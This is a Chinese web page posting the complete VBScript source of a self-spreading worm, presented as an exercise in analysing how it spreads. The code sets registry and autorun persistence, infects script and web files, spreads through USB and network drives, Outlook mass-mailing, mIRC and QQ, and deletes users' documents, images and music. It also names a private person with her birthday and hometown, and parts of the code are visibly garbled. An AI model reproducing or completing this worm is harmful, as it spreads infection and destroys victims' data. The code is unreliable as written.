脚本病毒源代码

更新时间:2023-05-10 15:59:41 阅读: 评论:0

//分析下面代码,指出传播途径,写出实验报告
rem email:
rem some crack statement i remment,make it can't to run
on error resume next
dim title,text
title="can you help me find a person?"
text="her name is Liu Chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10)
text=text&"I was died becau by her,"&chr(13)&chr(10)
text=text&"I am demanding my life of you."&chr(13)&chr(10)
Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
lf=fso.opentextfile(wscript.scriptfullname,1).readall
t WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl=fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")
t sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\"
Set lcl = fso.CreateTextFile( b , True )
lcl.Write text
fso.CopyFile b, Startup&"\"
lcl.Clo
dim lcl
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)
Function scode (N)
dim x
for x = 0 to 254
if n = chr(x) then
scode = x
exit function
end if
next
end function
rem 请教:用readline等方法,整行加密,保持文本格式不不变;和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (lf)
cc = mid (lf,l,1)
if l>99 and instr(lf,"Liu Chun li")>0 then
cipher=chr (scode(cc)+9) rem 我开始用99,得到的全是ascll为0的数据
el
cipher=chr(scode(cc))
end if
correy=correy&cipher
next
lcl.Write correy
lcl.Clo
dim hk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwrite hk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"rvice\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"rvice\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\"
wshshell.Regwrite safe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwrite safe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"
do
wshshell.run "cmd /c taskkill /f /i
",0
wshshell.run "cmd /c taskkill /f /",0
loop
dim d
For Each d in fso.Drives
if d.drivetype<>4 then
fso.CopyFile b, d&"\"
scan(d)
end if
if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then
t atetextfile(d&"\autorun.inf",true)
inf.writeline "[autorun]"
inf.writeline "open="
inf.writeline "shell\open=打开(&O)"
inf.writeline "shell\open\ lclrun.vbs"
inf.writeline "shell\open\ lcl.vbs"
inf.writeline "shell\open\Default=1"
inf.writeline "shell\explore=资源管理器(&X)"
inf.writeline "shell\explore\ lclrun.vbs"
inf.writeline "shell\explore\ lcl.vbs"
inf.clo
t atetextfile(d&"\desktop.ini",true)
ini.writeline "[.ShellClassInfo]"
ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
ini.clo
t atetextfile(d&"\lclrun.vbs",true)
lclrun.writeline "On Error GoTo 0"
lclrun.writeline "t fso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
lclrun.writeline "ifor each d in fso.drives"
lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"
lclrun.writeline " file(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "
lclrun.writeline "t wshshell = ateobject("&chr(34)&"WScript.Shell"&chr(34)&")"
lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
lclrun.writeline "end if"
lclrun.writeline "next"
lclrun.clo
end if
next
dim wshnetwork,netdrives,net1,net2
Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set netDrives = WSHNetwork.EnumNetworkDrives
If netDrives.Count > 0 Then
For i = 0 To netDrives.Count - 1 Step 2
net1 = netdrives(i)
net2 = netDrives(i + 1)
scan (net1)
scan (net2)
Next
End If
dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
Set outlookApp = CreateObject("Outlook.App"&"lication")
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
Set addrList= mapiObj.AddressLists ''获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) ''获
取具体Email地址
item.To = addrEnt.Address
item.Subject = title
item.Body = text
Set attachMents=item.Attachments
attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
item.DeleteAfterSubmit = True ''信件提交后自动删除
If item.To <> "" Then
item.Send
End If
Next
End If
Next
End if
rem next from i love you.
t out=WScript.CreateObject("Outlook.Application")
t mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
t a=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
t male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = title
male.Body = text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
el
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
Set objOutlook = CreateObject("Outlook.Application")
If objOutlook = "Outlook" Then
Set objNamespace = objOutlook.GetNameSpace("MAPI")
Set colAddressLists = objNamespace.AddressLists
Set onjNameSpace = Nothing
For Each objItem In colAddressLists
If objItem.AddressEntries.Count <> 0 Then
intCountOfAddress = objItem.AddressEntries.Count
For i = 1 To intCountOfAddress
Set objMailMsg = objOutlook.CreateItem(0)
Set objDestAddress = objItem.AddressEntries(i)
objMailMsg.To = objDestAddress.Address
objMailMsg.Subject = title
objMailMsg.Body = text
execute "t objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
strAttach = strFilePathName
objMailMsg.DeleteAfterSubmit = True
objSend.Add strAttach
If objMailMsg.To <> "" Then
objMailMsg.Send
End If
Next
End If
Next
Set objOutlook = Nothing
Set objItem = Nothing
Set objMailMsg = Nothing
Set objDestAddress = Nothing
End If
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
if wbemObject.Name="" or wbemObject.Name="qq.exe" then
WshShell.AppActivate wbemobject.name
WshShell.SendKeys "can you help me find a person?"
WshShell.SendKeys "^{enter}" ' or "^~"
WScript.Sleep 9000
WshShell.SendKeys "her name is Liu Chun li"
WshShell.SendKeys "^{enter}"
WScript.Sleep 9000
WshShell.SendKeys "her birthday is 1981-02-17
."
WshShell.SendKeys "^{enter}"
WScript.Sleep 9000
WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys "^{enter}"
end if
Next
sub scan(folder)
On Error GoTo 0
t folder(folder)
for each file in fd.files
lf1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lca(ext)
if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then
if instr ( lf1 ,"Liu Chun li" ) < 0 then
t lcl=fso.opentextfile(file.path,8,true)
lcl.write chr(13)&chr(10)
lcl.write lf
lcl.write chr(13)&chr(10)
lcl.clo
end if
end if
if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then
if instr ( lf1 ,"Liu Chun li" ) < 0 then
t lcl=fso.opentextfile(file.path,8,true)
lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)&chr(10)
lcl.write lf
lcl.write "<"&"/SCRIPT>"
lcl.write chr(13)&chr(10)
lcl.clo
end if
end if
rem or ext="mspx"
if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then
if instr ( lf1 ,"Liu Chun li" ) < 0 then
t lcl=fso.opentextfile(file.path,8,true)
lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)&chr(10)
lcl.write lf
lcl.write "<"&"/SCRIPT>"
lcl.write chr(13)&chr(10)
lcl.clo
end if
end if
if ext="ini" then
if not instr ( lf1 ,"Liu Chun li" ) > 0 then
dim ini
t ini=fso.opentextfile(file.path,8,true)
ini.writeline chr(13)&chr(10)
ini.WriteLine "[script]"
ini.WriteLine "n0=on 1:JOIN:#:{"
ini.WriteLine "n1= /if ( $nick == $me ) { halt }"
ini.WriteLine "n2= /.dcc nd $nick "&dirsystem&"\lcl.vbs"
rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc nd $nick "&dirsystem&"\lcl.vbs"}"
'利用命令/ddc nd $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine "n3=}"
ini.WriteLine ";Liu Chun li"
ini.clo
end if
end if
rem every 9 in the lunar calenda do it
if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then
file.delete true
end if
next
for each subfd in fd.subfolders
scan(subfd)
next
end sub

本文发布于:2023-05-10 15:59:41,感谢您对本站的认可!

本文链接:https://www.wtabcd.cn/fanwen/fan/82/573476.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

标签:获取   地址   得到   用户
相关文章
留言与评论(共有 0 条评论)
   
验证码:
推荐文章
排行榜
Copyright ©2019-2022 Comsenz Inc.Powered by © 专利检索| 网站地图